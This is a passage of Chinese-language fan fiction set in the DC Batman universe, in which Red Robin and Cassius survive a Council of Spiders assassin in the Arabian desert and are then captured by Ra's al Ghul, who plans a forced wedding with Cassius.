“让他们立刻警戒，蜘蛛议会的人在找他们，想要杀他们。还有，你离他们远些，千万不要被殃及！”卡修斯快速嘱咐道。 “好的，会让他们保持警惕的，不过我和他们目前是队友，你的后一句话可是有点难做到。”他听到提姆的语气渐渐放松下来，没有一开始那种紧绷感了。 但这对卡修斯来说，并不是好事，他需要提姆随时警戒。 “对了，你是怎麽知道我来这儿的？”卡修斯追问。 根据迪克的说法，提姆走的时候连常用的手机都没带，也没有和任何人联系过。这样的他是怎麽打通他的卫星电话的？ “我带着给你的通信器。”提姆说。 通信器自然会显卡修斯的坐标，只是沙漠里信号不好，他刚刚才看到，属于卡修斯的坐标亮了起来，这就说明，他离开了瞭望塔。所以提姆直接联系了卢修斯，这才得到塔姆和卡修斯已经先后来找他的消息。 卡修斯沉默了一会，心里暗想，提姆不会时时刻刻在监控他的位置吧？ 听上去挺变态的。 他忍不住笑了：“小小年纪不学好，学人家做斯托卡，你这个小变态。” “找到了……” 卡修斯听到一声低叹。 还没来得及问，就听提姆继续用轻松的口吻说：“那你喜欢吗？” “啧。”卡修斯啧了一声，不想回答这个油乎乎的问题。 “求你了，告诉我吧。”提姆那边响起拍照声和钉锤敲打的声音。 卡修斯最受不了提姆用这种语气跟他说话。明知道他是故意的，却偏偏很吃这一套。 “喜欢，喜欢行了吧！” 他的语气相当不耐烦。 年轻人就是麻烦，又黏糊又肉麻。卡修斯在心里抱怨，可嘴角却是忍不住上扬的。 “卡修斯，你是我的幸运星，我找到了想要找的东西。”提姆的声音难掩愉悦。 卡修斯刚想说：那你以为呢？ 就听到电话里原本因为信号不好产生的杂音忽然消失了——电话中断了。 卡修斯的心跳几乎停止。 他将油门踩到最底，越野车在沙丘上飞驰起来，扬起的沙子几乎要屏蔽住他的视线。 第92章 别担心，我找到你了。 “卡修斯？” 他看了眼手中的通信器，它再一次失去了信号。 这个国家的网络信号本来就不算好，就连卫星信号也会经常受到干扰。 而且他们此刻正在阿拉伯沙漠的腹地，沙漠中复杂多变的环境也是影响信号连接的重要原因。 不过提姆确实从没有遇到过信号断的这麽干脆的情况。 想到卡修斯在电话里对自己的预警，他抬眼朝着不远处的三个“同伴”说：“我的卫星信号忽然断了，有些不对劲，你们最好立刻警戒起来。” 同行的三人都是刺客联盟的杀手，拉尔斯要他们暂时听从提姆的差遣。三人之前和提姆也交过手，信誓旦旦的想要杀死提姆，可即便用上了火箭筒，都没得逞，那个叫普鲁（pru）的女杀手甚至两次被提姆打断了鼻梁骨。 他们对提姆的信任完全是在一开始你死我活的战斗中创建起来的，一路同行至此，他们也从互相防备，到现在至少能开一些无伤大雅的玩笑了。 Z和欧文斯两位男性此刻走到洞xue之外观察了一阵，并没有发现什麽异常。 出自对自己刺客能力的信任，这一次，他们觉得是提姆过分担心了。 首先，不是所有人都会跑到这种狼不拉屎鸟不生蛋的沙漠腹地，去找一个自己都不知道什麽东西的线索，其次，他们自信没有什麽人能在三个顶尖刺客的眼皮子底下藏匿踪迹。 “信号断了这不是好事吗？要不然我真不知道还要被迫听你那个肉麻兮兮的对话多久。” 这是抱臂站在一边的女刺客普鲁的调侃。 一路上称自己为“红罗宾”的提姆都很严肃，好几天了，对方最常见的表情就是眉头紧蹙的样子。这一度让普鲁怀疑对方是不是面瘫，根本不会笑。 直到看到他打了这通电话。 一个严肃了好几天的人忽然变得温柔起来，而且从接起电话的那一刻开始，嘴角就没放下来过。 这对普鲁来说堪称恐怖片。 现在抓到机会，终于能好好调侃提姆两句。 原来他这一路上的高贵冷艳都是装的啊。 提姆见暂时没有什麽异常，便不再关注这三个人，也没有理睬普鲁的讥讽。 他的手指轻轻拂过这个洞xue岩壁高处那个几乎被风化的蝙蝠刻印，指尖传来的粗糙触感让他的心跳微微加速。 沙漠外面干燥炎热，但这个不知道存在了几百年的岩石洞xue之内却难得阴凉。提姆手中的手电光线照亮了他面前的一小片局域。 这块拥有蝙蝠标志刻印的岩壁属于整个洞xue的最深处，它的周围还有一些已经被风化的完全看不出是什麽的字母。 “这就是你要找的东西？”洞xue外面太热，欧文斯走了进来，站在提姆身后，声音里带着明显的讥讽。 他们三人跟着提姆在这个沙漠深处吃了好几天土。要不是这是拉尔斯大师让他们必须随侍在提姆左右，他真的不想干了。 对喜欢和擅长杀戮的杀手来说，杀人是他的舒适区，就算被杀也只不过是死得其所，可保护人算是怎麽回事？他感觉自己的忍耐就快要到极限了。 接下来这小子如果还要满世界查找这种莫名其妙的符号，他就打算先跑路了，把“保护”的任务留给另外两个杀手，自己宁愿回到大师身边，就算被罚也在所不惜。 提姆还是没回答他。这死小孩老是这样，跟他说十句话，有八句都说了个寂寞，对方大多数时候只把他们当三个大型挂件，根本懒得搭理他们。 欧文斯眼看着这死小孩挂电话后又恢复了那张没有表情的死人脸，对着有蝙蝠标志印记的破石头一阵咔咔猛拍后，又伸出手去摸那个标记。 他的不耐烦已经达到了顶峰。 提姆沉浸在对这个蝙蝠标志的研究之中。 这个标志的样式很特别，和布鲁斯被欧米伽射线击中时穿的那套制服胸口的蝙蝠标志轮廓完全一致。它的旁边还刻着一小行字和一个图案，只不过时间和风沙将它们侵蚀难以辨认，提姆通过反复的抚摸和猜测，才判断这一小行残缺的字母和符号是什麽——那是一个J.D的签名和一朵马蹄莲的简笔画。 这是他们从潜艇里找到的那张照片背后，杰克·德雷克曾经留下来的签名。 当初布鲁斯从瞭望塔回来后，卡修斯陷入昏迷，面对布鲁斯的逼问，提姆有选择性的讲了卡修斯找潜艇船的事，并在布鲁斯的请求下，将那张照片连盒子带相框的交给了他——布鲁斯说会用瞭望塔的检测系统检验一下这东西的半衰期，来确定它到底存在了多久。 只是在这之后，布鲁斯就出了意外，而那个盒子也失去了踪迹。提姆没有在布鲁斯的随身“遗物”中找到它，也没有在蝙蝠洞或者韦恩庄园找到。 所以那个盒子以及照片，很有可能还被布鲁斯随身带着，而这个出现在照片上的签名，就是布鲁斯通过时间，传递给他的信息！ “是他。”提姆轻声自语。 “蝙蝠侠来过这里，而且是在很久以前。” 本来满脸不耐烦的欧文和普鲁交换了一个眼神。 拉尔斯说这三个人派给他是用来协助和保护，但提姆知道，他们三个最大的作用就是监视自己。 拉尔斯知道他在找布鲁斯，并且和自己说过，他可以为已经“众叛亲离”的提姆提供各种支持，前提条件就是他要知道提姆查找布鲁斯进展的点点滴滴。 这三个人就是拉尔斯的眼睛和喉舌。 提姆为了取得拉尔斯的信任，就必须忍耐他们的存在。 “我要把这块石头带走。”提姆从背包里拿出工具包，找出更多凿岩工具，“你们跟我一块儿把它凿下来。” 他命令道。 但欧文斯和普鲁都站在原地，并没有动作。 站在洞口的Z幸灾乐祸地哼了一声：“你们凿，我警戒。” 他才不想干那种无聊的活计。 提姆没搭理他们，已经开始小心翼翼地凿取那块刻有蝙蝠标志的岩壁了。 洞xue内回荡起工具与岩石碰撞的声音，细小的碎石也不断落下。 普鲁看了一会儿，决定还是爬上去跟提姆一块儿凿。她的想法是，早干完活早收工，没必要在这儿干站着吃沙子。 “嘿，你刚才打电话的那个，你的小情儿，是不是说要来找你，我可事先说明，我们三个只对你的生命安全负责，至于他，我们可管不着，为了大家都省心，我劝你最好还是跟他说一声，叫他别来添乱……” 普鲁一边敲，一边在旁边喋喋不休。 听到她的抱怨，提姆觉得好笑，不过卡修斯是什麽样的人，自己也没必要跟他们解释，于是继续全神贯注地工作。 提姆突然听到一声闷响，接着是站在他们下面的欧文斯一声暴怒的叫骂。 他猛地转头，朝洞口看过去，就看到Z站在原地，胸口突出一截刀尖，鲜血正顺着刀身滴落。 “Z！”欧文斯大喊一声拔出武器冲了上去。 普鲁也迅速反应，她抽出腰间的枪瞄准敌人，但袭击者的动作太快了，而且他的身体总是被欧文斯遮挡，让普鲁没法毫无顾忌地开枪。 Z和欧文斯都是受过训练的顶尖刺客，可是面对这个袭击者的时候，竟然毫无还手之力，对方再一次将手中的武器送进了欧文斯的身体。 “刺客联盟的废物。”男人的声音阴冷又低沉。 “跑！”普鲁朝着敌人开枪，但她的声音里充满了恐惧。 Z和欧文斯绝不是那麽好对付的，可面对这个人的时候，居然被碾压般地杀死，足以证明，对方的实力远在他们的水平之上。 提姆已经抽出他的长棍，从高处跳了下去。他借着洞口的光看清了袭击者。 对方的身形要比他们都要高大健硕，全身都包裹在黑色紧身衣中，只露出一双冰冷的眼睛，手中握着两把造型奇特的弯刀。 提姆的长棍落下，被对方轻松格挡，他和提姆过了两招，然后就不打算继续和提姆纠缠，直奔提姆身后的普鲁。 “你是什麽人！”普鲁一边咒骂着问，一边和对方拉开距离继续开枪。 “蜘蛛议会，鳏夫。” 就在男人阴沉沉的报出自己名号时，以极快的速度突破了提姆的阻拦，猝不及防的近了普鲁的身，手起刀落。 普鲁松开手中的枪，捂住自己的脖子倒了下来。 就在他准备补刀的时候，后脑传来一阵微弱的风声。他回身去挡，几枚圆盘形的飞镖和他的弯刀相接，发出金属碰撞的清脆响声后，掉在了地上。 鳏夫低头，看了眼脚下飞镖上刻着的鸟型标志。 “小孩儿，”鳏夫的声音越发嘶哑难听，“你不该跟刺客联盟的人混在一起。我数到三声，给你一个逃跑的机会。” 提姆握紧武器，汗水在面罩下顺着额头滑落。 “3。” 对方直接报数三，突然加速，朝着提姆隐匿的石壁处冲了过来。 勉强挡下第一刀后，鳏夫又以一个诡异的角度刺向他的侧肋处。 提姆立即后退半步，再用长棍挡住这一击。 竞速碰撞的声音在洞xue内频繁响了起来。 提姆虽然身手不凡，但在这个蜘蛛议会的杀手面前明显处于下风。对方无论身形，力量，速度，都不似普通人类。 提姆试图查找机会攻击他的弱点，但杀手的防守滴水不漏，反而抓住提姆的一个破绽，一刀划过他的左臂。 “唔……”提姆闷哼一声，感觉到温热的液体顺着胳膊流了下来。 但他很快就感觉不到伤口处的痛感，肌肉仿佛也在快速失去控制。提姆马上意识到，对方的武器上抹了毒。 提姆立即从腰带中取出一支解毒剂推入自己体内。 鳏夫没有再次发起进攻，而是慢慢绕着提姆移动，他的脚步沉稳，表情笃定，像是一只随时准备捕食的蜘蛛。他的动作无声无息，在洞xue的阴影中时隐时现。 “准备的倒是挺充分。”杀手甩了甩刀上的血迹，“我在你的招式中看到了西瓦的影子，是她的徒弟？可惜了。” 说着，他再一次朝着提姆扑了过来。 鳏夫的双刀如暴风骤雨般袭来，提姆快速格挡，但每接下一刀，他的虎口就传来一阵剧痛——杀手的力量远超常人，每一次的碰撞都让他手臂发麻。 “你还师从蝙蝠侠。”杀手开口的同时，一脚踢在提姆的腹部，“罗宾？不，我们的消息网没说罗宾离开了哥谭。” 提姆被踢得后退几步，撞在岩壁上。 寥寥几句话，让提姆知道，对方精于武术，并且还相当了解哥谭。 他强忍疼痛，突然一个翻滚，长棍扫向鳏夫的下盘。杀手轻松跳起来躲闪，但提姆趁机按下棍柄开关，他自己特别改装过的，藏在棍内的匕首如同毒蛇般窜出来，臂刃一下子划破了鳏夫的大腿。 “有趣。”鳏夫看了看腿上的伤口，声音里第一次带上了些情绪波动。 他再次攻过来，这次更加凶猛。 虽然及时为自己注。射。了解毒剂，但提姆仍然感觉到自己的动作变得迟缓起来。 他的防守逐渐开始崩溃，身上也又多了几道伤口。他的呼吸变得急促，视线也开始模糊。 他在自己的舌尖狠狠咬了一口，剧痛和混杂着沙土的血腥味让他再次恢复了短暂的清醒，提姆抓紧机会，用长棍抽向杀手的左臂。 对方没料到提姆受了伤，中了毒还有这麽大的力气，一时疏忽，左手弯刀掉了下去。 提姆趁弯刀还没落地的瞬间，一脚踢出去，将刀踢飞到了远处。 鳏夫同样抓住机会，抬起一脚，脚狠狠踢在他的手腕上。 提姆手心一松，长棍险些没拿住，就在他将注意力集中在控制好自己的武器上时，鳏夫一拳打在了他的太阳xue上。 好在他出发之前更换了制服，提姆不再穿罗宾制服，而是换上一身暗红色制服，罗宾标志性的多米诺面具也被他换成了黑色的皮质头盔面罩，这为他抵挡住一些冲击力，没有立即失去意识。 但这也足以让他眼前一黑，跪倒在地。 鳏夫的手掌如同爬行动物的吸盘那样扣住他的后脑，强迫他抬起头。 “我承认，比起那三个废物，你还不错。不过还是说再见吧。”鳏夫另一只手举刀，想要向对付Z和欧文斯那样，穿透提姆的身体。 就在他的弯刀刀尖穿透提姆的制服，深入他皮肤半寸的时候，洞xue外传来引擎的轰鸣声，接着是一道刺目的车灯直射进来。 鳏夫被晃了一下眼，提姆抓住机会，蜷身往旁边一滚。鳏夫伸手，抓了个空。 就在他想要再次抓住提姆的时候，一辆越野车冲进洞xue，直接撞向了他。 鳏夫被撞飞了出去，重重摔在岩壁上。 越野车一个急刹停住，车门打开，卡修斯从里面跳了出来。 “提宝！”他看到满身是血的提姆，身影里充满惊恐。 提姆努力睁着眼，不敢相信卡修斯竟然这麽快就赶到了。 “你怎麽——” “没事，我来了。”卡修斯摸了摸他的身体，确定没有伤及脏腑的伤口时，才悄悄松了半口气。 “还好赶的及，我找到你了。”卡修斯低叹了口气。 就在这时，被撞飞的鳏夫已经站了起来，虽然走路有些踉跄，但他眼中的杀意更浓。 “又来了一个送死的。”鳏夫嘶哑地说。 卡修斯转头，看着这个被一百多码速度创飞，但还活着的医学奇迹，不耐烦的啧了一声。 所以说，他真的太讨厌这个到处都是改造人的世界了。 “你说对了，是送你去死。”卡修斯站起来，小臂处的袖剑弹出，同时悄悄捡起地上普鲁掉落的手枪，藏在腰间。 提姆轻轻拽了拽他的裤腿。 卡修斯眼睛还警惕的注视着越来越近的杀手，但语气却是对着提姆的：“别担心。” “小心，他的武器上有毒。”提姆说。 怪不得明明没有伤到要害，提姆看上去却依然虚弱。 卡修斯点了点头：“我知道了。” 鳏夫冷笑一声，刀在手中转了个漂亮的刀花，然后突然冲了上来。 卡修斯迎上去，袖剑与弯刀碰撞出金属的火花。两人的动作都快得惊人，在狭窄的洞xue内闪转腾挪。 自从记起刺客联盟的种种以后，卡修斯还没有真正战斗过，此刻他也发现了自己和以前的不同，更加直接和凶狠，每一招都带着不顾一切的拼命架势。 刚被创飞过的鳏夫还没有完全恢复，一时间也不适应这种放弃防守，每一招都是殊死一搏的不要命的打法，一时间被逼得连连后退。 “刺客联盟的招式。”鳏夫认出了卡修斯的格斗技巧，“你也是他们的人？” 卡修斯没有回答，继续进攻，但鳏夫很快调整了战术，他开始利用体型和力量的优势压制卡修斯。 一次猛烈的撞击后，卡修斯被逼到岩壁边。 鳏夫一刀划过他的胸口，卡修斯猛地下蹲，毫无心里负担地从他□□钻了出去，然后反身按住对方的头，将他的脑袋狠狠嗑在岩壁上。 在鳏夫的刀砍向卡修斯胸口的时候，提姆就捡起自己的长棍挣扎着爬了起来。 鳏夫被撞的脑子懵了一瞬，他再次感觉到一股劲风袭了过来，凭借着本能躲闪，不过还是被打到右臂麻骨神经，手掌一松，右手的弯刀也掉在了地上。 早已经给他拉开距离的卡修斯趁机掏出枪，连开三枪。 鳏夫以不可思议的速度闪避，但还是被一枪擦过肩膀。 他愤怒地咆哮一声，扑向卡修斯，却被手持长棍的提姆再次拦住了脚步。 普鲁的枪里剩的子弹不多，才开了几枪就空了。卡修斯扔下空枪，再次爬上了越野车。 卡修斯发动车子，轮胎转向，隔着车窗，瞄准了和提姆搏斗的鳏夫。 一次创不死就创两次，他就不相信，除了氪星人，还有谁能经得住车子的反复撞击。 越野车再次冲向两人的时候，提姆再次顺势躬身贴地，滚到一边。鳏夫想要效仿，但冲着他去的卡修斯怎麽会让他轻易躲过，追着他撞，还是让他撞到下半身。 被连续撞了两次，鳏夫也不再跟对方硬碰硬，忽然扔出了一个烟雾弹。 浓雾瞬间充满洞xue。卡修斯紧闭车窗门，警惕地注意着周围的一切动静。 等到烟雾散去，鳏夫已经不见了踪影。 “他跑了。”提姆拍了拍他的车窗，然后反身靠着他的车子坐了下来。 卡修斯重新下车，打开后座门，将人连拖带拽地弄上了车。 “你还好吗？”他的手不自觉地抚上提姆的脾脏位置。 提姆按住他的手，笑道：“别担心，我很好，没受任何致命伤，你不要趁机占我的便宜。” 卡修斯这才松了口气，他瞪了提姆一眼，但摆弄他的动作依然小心。直到将他好好放进车后座，他才走出去，看向地上另外三个人。 两个男人已经死透了，脖子受伤的女人倒是还有气儿。 卡修斯本来嫌麻烦，不太想管了，但提姆的声音从车里传了出来：“带着她吧。” 卡修斯只好扯下他衣服的下摆，先将喉咙处的伤口替她按住。 普鲁很有求生欲，意识到有人在救助自己，立即按住了伤处的布料，另一只手死死攥住卡修斯，不让他走。 “松手，我去拿医疗包，除非你想死。”卡修斯不耐烦的说。 女人这才松手。 卡修斯从后座将随身携带的医疗包拿下来，先用止血胶和绷带简单地帮她止血包扎后，再将人半拖半抱着也弄到了车上。 “现在去哪儿？”卡修斯坐上驾驶座，从后视镜看着提姆问。 “先回巴格达，我在那里订了酒店。” “不，换个地方，那里已经不安全了。”卡修斯一边说着，一边发动了车子。 他记得原本的剧情中，就是塔姆找到了那里，在那儿看到了躺在床上，浑身是血的红罗宾和女刺客，她吓了一跳，还没来得及弄清楚状况，就被破窗而入的刺客们俘虏，带去了刺客联盟的巢xue。 越野车在沙漠中疾驰，扬起一片沙尘。提姆坐在后座，脸色苍白，但精神还行。他拿出卫星电话，联系了塔姆。 “提姆？！” 在他自报身份后，对方发出一声惊叫，“你在哪儿？我才刚拿到你订的酒店地址！” “别去那儿。”他对电话那头说，“你帮我重新订一个酒店。” 提姆没有问卡修斯怎麽知道那里不安全的，直接让塔姆帮他们换个地方。 电话那头的塔姆也意识到了情况不对，她严肃道：“你们在哪儿？需不需要帮你们报警？” 她已经和父亲沟通过，知道韦恩家另外委派了一个人来查找和保护提姆。现在这人应该已经和提姆会合了。 提姆看了眼卡修斯，说：“别报警，直接帮我们重新订一个酒店，把地址发到这个号码上。” 提姆发现，卢修斯这个女儿和她父亲一样，不但办事靠谱，效率还很高，挂断电话不久，一条加密信息传来，上面是一个新的酒店地址和房间号。 第93章 我要结婚了？ 等到他们抵达重新进入巴格达城市时，已经是深夜。 “达克赛德入侵之前，这里比现在要好一些。” 提姆已经为自己的伤口做了简单的消毒处理，此刻他看着车窗外满目疮痍的街道，轻声说。 卡修斯没说话。他以前没来过这里，所以无从比较。不过即便是在他的世界，这里也是长年战乱，街景比现在也好不到哪里去。 现在即使是深夜，街上还是有许多年轻人甚至是孩子在街上游荡，看到他们的车，眼里都露出卡修斯以前从没在这个年纪的年轻人脸上看到过的凶狠表情。 卡修斯担心有意外，将已经打空子弹的枪从手套箱里翻出来扔在仪表台上。 提姆也将手中长棍的匕首伸了出来。再加上他本身就带着黑色面罩，看上去更加像是不好惹的样子。 那些对他们越野车有些跃跃欲试的贪婪眼神才终于没那麽直白了。 提姆将导航线路发给卡修斯，他们避开主要街道（因为车上还有个重伤且无法送医的女性），从小路上七拐八拐的来到了塔姆新订的酒店。 说它是个酒店真的是抬举他，在卡修斯看来，这最多算是一个汽车旅馆。也难为塔姆竟然能找到这样一个地方。 旅店位于老城区的一条窄巷，因为担心他们中间的伤员引起旅店老板的警惕，从而拒绝他们入住，卡修斯将普鲁用薄毯裹好抱在怀里，伪装成睡着的样子，提姆也将自己的制服换下，换了一套不引人注意的常服。 卡修斯抱着普鲁走在前面，提姆走在他们身后，警惕地观察四周。旅店前台处有个大胡子雇员，正瘫在椅子上打呼，卡修斯先悄悄走到楼梯拐角处，将普鲁放在楼梯上靠好，才和提姆一块儿站在前台，叫醒了大胡子，让他根据塔姆事先登记的信息办理入住。 大胡子的瞌睡被打搅，对这两个深夜办理入住的人非常有意见，粗暴地甩给他们两把钥匙，再次瘫进椅子里重新酝酿睡意。 来到指定的房门前，提姆示意卡修斯保持警惕，先轻轻敲了敲门，在确认房间里没有任何可疑声响后，才将钥匙捅进锁眼。 卡修斯的房间在提姆隔壁，但他还抱着普鲁，所以打算先和提姆一块儿把这个女杀手的伤势好好处理一下，再回自己的房间。 就在开门的一瞬间，一个许久没听到的声音忽然突兀地在他的脑海中响起。 “终于来了。” “别！”卡修斯猛地按住提姆的手臂，阻止他继续推开门。 但已经来不及了。门从内部被拉开，原本应该黑暗的房间忽然灯光大亮。 一个深肤色的年轻女性被绑在正对着房间门的椅子上，她的嘴里塞着布条，眼中充满恐惧。而站在她身后的，正是那个卡修斯原本以为已经死了的人，拉尔斯·奥·古。 “欢迎回来，我的孩子们。” 拉尔斯微笑着，他的目光在提姆身上扫过一眼，然后落在卡修斯身上，“我等待多时了。” 卡修斯感觉自己全身的血液在一瞬间好像凝固了。虽然他已经知道这个人没有死，但当这个人活生生地，再一次出现在自己面前的时候，卡修斯还是觉得自己好像一瞬间跌入了噩梦。那双冰冷的绿色眼睛如同毒蛇般注视着他，嘴角还挂着令人毛骨悚然的微笑。 “好久不见，我的孩子。”拉尔斯的声音如同毒液般渗入卡修斯的耳膜。 卡修斯已经将手里的伤员放了下来。他的呼吸变得急促，手也在不自觉地颤抖，指甲更是深深陷入掌心。 “卡修斯。”提姆第一时间察觉到了他的异样，立即碰到他的手，单手用力，将他的指甲从掌心里抠出来，然后紧紧握住。 这个碰触像是一道闪电，将卡修斯从梦魇中拉回来。他的身体做出了攻击前的架势，随时准备扑向眼前的仇敌。 “塔利亚说他想起了一切，看来是真的。”他听到拉尔斯心里这样说。 卡修斯的袖剑从腕间弹出，剑刃在灯光下泛着寒光，他想要趁其不备地冲上去杀了他。 但他的念头刚一冒出来，十几道黑影从房间各处闪现，冰冷的刀刃同时抵在了他和提姆的脖子上。 “冷静点，亲爱的。”拉尔斯依然保持着那种令人作呕的微笑：“我们好不容易重逢，何必这麽剑拔弩张？” 卡修斯感觉到自己的颈动脉被刀锋紧贴着，只要再深入一毫米就能要了他的命。他强迫自己冷静下来，但看向拉尔斯时，眼中的恨意丝毫未减。 “放开塔姆。”提姆镇定地说。他的目光在房内快速扫视，评估完局势后，轻轻捏了捏卡修斯的手。 拉尔斯的眼睛在他们两人交握的手掌上短暂地停留了一瞬。 “看来我的实验品和小鸟创建了相当深厚的情谊，这可真是个好消息。” 卡修斯立即将手从提姆的手心中挣脱。 拉尔斯微微一笑，他优雅地挥了挥手，一名刺客上前解开了塔姆的束缚，但依然用刀抵着他的后背。 “罗宾，我一直很欣赏你与侦探如出一辙的智慧。”拉尔斯看着提姆说。 塔姆始终充满惊恐的眼睛瞬间瞪大了，她不可置信的看着提姆，像是在用眼睛询问他，这个绑架犯口中的“罗宾”是她想的那个人吗？ “啊，不，你已经不是罗宾了。”拉尔斯踱步到塔姆身边，用手指轻轻抚过她的脸颊，“我那愚蠢的外孙，背叛了我对他的教诲，世界之主的继承人不做，跑去给侦探做副手，而你，比他聪明，你把位置让给了他，选择跟我合作。” 塔姆害怕极了，她觉得自己知道了太多不该知道的东西，可能活不成了。但她咬紧牙关，没发出一点声音。 “告诉我，现在我该怎麽称呼你？”拉尔斯问。 “红罗宾。”提姆干脆地说。 “啊……”拉尔斯啊了一声，似是有些失望。 “我们之间的事和塔姆没有任何关系，先放了她。”提姆继续说。 拉尔斯发出一声愉悦的轻笑：“那可不行，福克斯小姐现在可是让你们听话的珍贵筹码。” “你想要什麽！”卡修斯咬牙切齿地问。 他答应过福克斯先生，要将塔姆平安带回去的。 拉尔斯发出一声愉悦的轻笑：“多麽直接。我本来只打算邀请红罗宾去我们的发源地做客，但当我得知你也来了……” 他的目光在卡修斯身上流连，像是在欣赏一件珍贵的藏品，“我不得不亲自前来迎接，以示尊重。” “我的宝贝。” 卡修斯感到一阵恶寒，胃部翻涌着想要呕吐的冲动。 无论他说出来的还是没说出来的话，都充满了一种变态的扭曲，仿佛他们之间存在着某种亲密关系，而非施虐者与受害者的残酷过往。 “我跟你走。”提姆突然说，“放了塔姆。” 拉尔斯挑了挑眉：“这麽爽快？我还以为需要更多的……邀请。”他的手滑向塔姆的脖子，轻轻收紧。 塔姆在他掌下的呼吸变得急促起来。 “我也跟你走。”卡修斯强忍着恶心说，“但必须放这个女孩离开。” 拉尔斯假装思考了一会儿，然后露出一个虚伪的笑容：“孩子们，条件不是这样谈的。” 他松开放在塔姆脖子上的手，随意地抬了抬，他的手下立即拿出一个金属项圈。 “这本来是给你准备的，红罗宾。”拉尔斯冲着项圈抬了抬下巴。 “谁能想到他竟然能在蜘蛛议会的杀手手里全身而退呢，如果他们重伤，也不用如此麻烦。” 卡修斯听到拉尔斯心里这样想。恨不得上去一刀捅死他。 “你带上他，我就保证这位福克斯小姐的安全。”拉尔斯说。 “定位器？”提姆冷笑，“我真要跑，你以为这东西能困住我？” “当然不是，我很尊重别人的隐私。”拉尔斯愉快地说，“这里面有足够剂量的神经毒素，足以在瞬间杀死一头大象。当然，只要你乖乖配合，它就永远不会激活。” 提姆再次抬眼，看了眼因为害怕，满眼泪光的塔姆：“我可以戴，但必须先放了她。” 拉尔斯摇了摇头：“我说了，交易不是这样谈的，你现在没有讨价还价的权利。戴上它，我保证这位小姐会是我的座上宾，不戴，她现在就得死。” 提姆短促地呼吸了几下，然后将手伸向项圈。 卡修斯按住他的手，冲他摇了摇头。 拉尔斯笑了，淡淡地嘲道：“怎麽，难道你想替他戴？” “这样更好，侦探的门徒，可见不得别人替他受苦，我也能更好的控制这两个人。” 卡修斯将项圈拿在手里把玩：“有什麽不可以呢？” 他现在能笃定，拉尔斯绝不可能再轻易杀他。 “别！”提姆想要抬手阻止，但被身边的刺客制住，不让他妄动。 拉尔斯微笑地注视着卡修斯。 卡修斯悄悄呼出一口气，将项圈扣在了自己脖子上。 冰冷的金属紧贴皮肤，如同一条随时可能收紧的绞索。 “明智的选择。”拉尔斯拍了拍手，“现在，是时候出发了。我想你们会喜欢发源地的，那里有太多……有趣的回忆等着我们重温。” 他再次做了个手势，几个刺客悄然上前，用净透了药物的手帕捂住三人的口鼻。 卡修斯挣扎了几下，但药物迅速发挥作用，没多会儿，他就闭上了眼睛。 * 当卡修斯再次恢复意识时，首先感受到的是身下柔软的床铺和空气中浓郁的特殊熏香味道。 他猛地坐起，随即因剧烈的头痛闷哼一声。 “您醒了。”一个轻柔的女声从旁边传来。 卡修斯警觉地转头，看到一个身穿月白色长袍，还带着面纱的女子跪坐在床边。 她的手中捧着一个银制水杯，面容隐在薄纱之后，只露出一双温顺的眼睛。 卡修斯观察了一圈这里的环境，甚至生出了自己是不是又穿越了的错觉。毕竟，无论作为俘虏还是人质，这个待遇显然有些太好。 不过他伸手摸了摸自己的颈部，项圈还在，所以不可能是又穿越了。 “这是哪儿？”他的声音嘶哑难听，喉咙像是被火烧过一般疼痛。 “您的寝殿，大人。”女子用阿拉伯语恭敬地回答，“主人吩咐，等您醒来后，带您去沐浴更衣。” 卡修斯接过水杯，警惕地嗅了嗅，确认只是普通的水后才一饮而尽。冰凉的液体缓解了喉咙的不适，也让他的思维更加清晰。 给他住这麽好的地方，感觉拉尔斯这个老登肯定没憋什麽好屁。 “跟我一块儿来的那个年轻人住在哪儿？”他问。 女子低下头：“我的职责是照顾您，这里不允许其他男性进入，大人。” 卡修斯眯起眼睛。注意到她称呼自己为“大人”，这很奇怪。在刺客联盟的级别制度中，他这样的人通常不会受到如此礼遇。 “拉尔斯在哪儿？”他换了个问题。 女子仿佛因为他直呼拉尔斯的名字而感到害怕，她惊惶地看了卡修斯一眼，但还是回答了他的问题：“主人正在准备婚礼事宜。” 卡修斯莫名其妙的看着她：“什麽婚礼？” 这老不死的又要跟谁结婚？真是事业爱情两手抓？ 女子看了他一眼，摇了摇头，没回答他这个问题，转而说道：“请原谅我的多嘴，大人，您该去沐浴了。” 卡修斯知道从这个侍女口中问不出更多信息了。他环顾四周，发现这个房间的装饰很奢华，墙上挂着精美的波斯挂毯，地上铺着厚实的手工地毯，印象中，好像当初达米安的房间就是这种规格的。 他的脖子上依然戴着那个致命的项圈，但除此之外，他并没有被束缚，也没有被搜身——他的袖剑和其他隐藏武器都放在床头，自己目之所及的位置。 这一切都太反常了。拉尔斯向来以谨慎著称，更不会给对手任何刺杀他的机会。 “带我去见拉尔斯。”卡修斯站起身，发现自己的衣服被换成了一套轻薄的白色亚麻长袍。 “婚礼前您不能见他。”侍女紧张地绞着手指，“这是传统。” 卡修斯感到一阵恶寒。拉尔斯到底在玩什麽把戏？他结婚为什麽自己不能见他？他到底又要嚯嚯哪个小姑娘？无数问题在他脑海中盘旋，但眼下最重要的是找到提姆，确认他的安全。 “好吧，带我去沐浴。”卡修斯决定先配合，再查找逃脱的机会。 侍女明显松了口气，引领他穿过几道华丽的走廊，来到一个冒着热气的室内浴池。 卡修斯注意到，路上遇到的仆人们都对着他恭敬行礼，偶尔和他对视，对方眼中的神情也很复杂，混合着明显的鄙夷和不得不卑躬屈膝的敬畏。 浴池边已经准备好了换洗的衣物——一套更加轻薄的，几乎透明的绿色纱衣，上面缀满了金线和宝石，风格充满了不健康的男凝，不像是给正经人穿的。 “这是什麽？”卡修斯指着那套衣服，心中渐渐升起一个离谱的猜测。 侍女听出了他语气中的不善，立即跪伏在地：“是主人亲自为您挑选的衣服，大人。” 卡修斯脑子里跑过一串羊驼，继续问：“给我的？这怎麽穿？穿了干什麽用？” 侍女头都不敢抬，继续说：“侍……侍寝用的……” 人在极度无语的时候，是真的会笑。 卡修斯笑着问：“侍寝？你该不会告诉我，那个神经病的婚礼对象就是我吧？” 侍女没敢回答，但态度已经说明了一切。 卡修斯哈哈笑了一声。 声音诡异的让侍女忍不住抖了抖。 这时已经有侍者上来，帮他解开了身上的亚麻罩袍。 衣物褪下，他裸。身站在浴池旁，没有人敢抬头，侍女战战兢兢地说：“大人，要我们伺候您沐浴吗？” “滚。”卡修斯冷声说。 几个人倒是听话，听到他说滚，二话不说就滚了，只是滚走之后卡修斯才发现，这些人带走了他刚才穿的罩袍。自己想要再出去，就必须穿那身纱衣。 怪不得对方一点都不担心自己逃跑。 卡修斯心中冷冷地想道。 